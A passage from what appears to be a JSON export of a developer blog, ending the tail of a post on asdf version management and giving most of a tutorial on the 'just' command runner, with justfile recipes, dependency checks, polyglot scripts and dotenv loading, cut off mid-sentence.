#96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3.9\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e  is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-17T18:00:00-06:00","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"},{"id":["2022","intro_to_just"],"path":"2022/intro_to_just","contentHtml":"\u003cp\u003eI believe every project should have a CLI built around the standard workflows of developing\non the project.  Things like:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eInstall dependencies\u003c/li\u003e\n\u003cli\u003eRun tests\u003c/li\u003e\n\u003cli\u003eRun linter and formatters\u003c/li\u003e\n\u003cli\u003eBuild project\u003c/li\u003e\n\u003cli\u003eStart / Stop the docker environment\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe reason I think this is important is because it makes a nice consistent and discoverable\nentrypoint for understanding how you should work in the project.   If you only provide the\ninstructions in the \u003ccode\u003eREADME\u003c/code\u003e then you have to remember to update those docs every time you\nadd a new command.  Those docs aren't easily testable either.\u003c/p\u003e\n\u003cp\u003eMost of my career the command runner of choice for my projects as been \u003ccode\u003eGNU Make\u003c/code\u003e but it was\ndefinitely the wrong tool for the job.  It is a build tool that I bent into shape to work\nas a command runner for me.   These days I use the tool \u003ca href=\"https://github.com/casey/just\"\u003ejust\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eIntro to just\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/casey/just\"\u003eJust\u003c/a\u003e is a modern command runner with a similar syntax to \u003ccode\u003emake\u003c/code\u003e\nthat provides a nice way for building out your project CLI!  You create a file named \u003ccode\u003ejustfile\u003c/code\u003e\nat the root of your project and then the basic syntax is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"make\" data-theme=\"default\"\u003e\u003ccode data-language=\"make\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003ehelp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  @just --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# My first command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003efirst\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  echo \"Any commands you want to run go here!\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe first \u003ccode\u003ehelp\u003c/code\u003e line defines a command \"help\" for your CLI and it lists out all the other available\ncommans.  I always put this line first because \u003ccode\u003ejust\u003c/code\u003e runs the first command in the file if a specific\ncommand isn't requested.  The output of this file looks like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejust\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAvailable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erecipes:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003efirst\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# My first command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehelp\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eHaving help automatically generated is fantastic!  Its also really helpful that it adds the comment\nto the command so that each command is self-documenting.  If you run the \u003ccode\u003efirst\u003c/code\u003e command you'll notice\nit also has a feature where it prints out the commands being ran so the user knows exactly what is\nhappening:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejust\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efirst\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Any commands you want to run go here!\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAny\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommands\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ego\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehere!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis doesn't always make sense though, so you can quickly remove that behavior by putting an \u003ccode\u003e@\u003c/code\u003e in front\nof any of the commands, like I did for the \u003ccode\u003ehelp\u003c/code\u003e command above.  You can also declare dependencies if\nyou have re-usable parts of your workflow that many of your commands need.\u003c/p\u003e\n\u003cp\u003eFor example, you might want to check versions of things like \u003ccode\u003enode\u003c/code\u003e and \u003ccode\u003epython\u003c/code\u003e before running the install\nof their dependencies. So you could do something like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"make\" data-theme=\"default\"\u003e\u003ccode data-language=\"make\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003ehelp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  @just --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003enode_version := \"v17.6.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Verify system dependencies\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  @if [ ! \"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003enode --version\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\" = {{ node_version }} ]; \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  then \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003e\"Missing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: {{ node_version }}\"; \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    exit 1; \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  fi\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Install frontend\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: check-dependencies\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  @echo \"yarn install\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ewhich ends up with a CLI that looks like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejust\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAvailable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erecipes:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Verify system dependencies\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehelp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Install frontend\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejust\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eMissing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev17.6.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eerror:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRecipe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e`\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e`\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003efailed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eline\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis opens up a lot of possibilities! In the above \u003ccode\u003ejustfile\u003c/code\u003e you'll notice I'm using a multi-line\ncommand but I have \u003ccode\u003e\\\u003c/code\u003e at the end of each line.  This is because \u003ccode\u003ejust\u003c/code\u003e by default is going to run\neach new line in their own shell.   So this just makes all those lines run in the same shell.\u003c/p\u003e\n\u003cp\u003eYou do not have to use this syntax though.  Just is \u003ccode\u003epolyglot\u003c/code\u003e and can run commands from any language\nyou would like.\u003c/p\u003e\n\u003ch3\u003ePolyglot\u003c/h3\u003e\n\u003cp\u003eIf you want to use a bash script as one of your commands, you can do so by adding a shebang at the top:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"make\" data-theme=\"default\"\u003e\u003ccode data-language=\"make\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003echeck-dependencies\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e#!/usr/bin/env bash\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  set -euxo pipefail\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  if [ ! \"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003enode --version\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\" = {{ node_version }} ];\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  then\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003e\"Missing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: {{ node_version }}\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    exit 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  fi\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow the entire command is using a bash script to execute! This gets really interesting if you want to start\nusing things like python, so if you'd like to change the dependency checker above to python:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003echeck\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edependencies:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e#!/usr/bin/env python3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e subprocess\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  result \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e subprocess.run(\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    [\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'node'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'--version'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estdout\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003esubprocess.\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ePIPE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e result \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e!=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e{{\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e node_version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ef\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Missing node version: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e{{\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e node_version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eexit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can even tell \u003ccode\u003ejust\u003c/code\u003e that you want to use a specific language for all commands!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset shell := [\"python3\", \"-c\"]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis not only affects the commands you have in your recipe but also anything inside\nbackticks!  So something like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"make\" data-theme=\"default\"\u003e\u003ccode data-language=\"make\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e`print(\"Rust is the best programming language\")`\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt would run through python instead of the shell.\u003c/p\u003e\n\u003ch3\u003eEnviornment Files\u003c/h3\u003e\n\u003cp\u003eOne of the other modern things \u003ccode\u003ejust\u003c/code\u003e adds to your workflow is the ability to utilize dotenv\nfiles.  So for example if you want to define which port you launch your http server on, you can\ncreate a file called \u003ccode\u003e.env\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eWEBSERVER_PORT\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e9000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand then utilize it in your \u003ccode\u003ejustfile\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"make\" data-theme=\"default\"\u003e\u003ccode data-language=\"make\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eset dotenv-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #DCBDFB\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  @echo \"Starting webserver in current directory\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  python3 -m http.server \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e$W\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEBSERVER_PORT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhen you run \u003ccode\u003ejust http\u003c/code\u003e it'll launch the http server on port 9000.  One important line\nin this file is \u003ccode\u003eset dotenv-load\u003c/code\u003e, it will not load the \u003ccode\u003e.env\u003c/code\u003e file without you telling it to.\u003c/p\u003e\n\u003ch2\u003eDon't use language specific scripts!\u003c/h2\u003e\n\u003cp\u003eI'n not a fan of language specific command runners like \u003ccode\u003epackage.json\u003c/code\u003e in the node community.\u003c/p\u003e\n\u003cp\u003eIt always frustrates me when I start working on a project that heavily uses \u003ccode\u003escripts\u003c/code\u003e in their\npackage.json instead of using a real command runner. \u003ccode\u003ejson\u003c/code\u003e is not a great format for writing\ndiscoverable CLI commands. For example if you wanted to write a 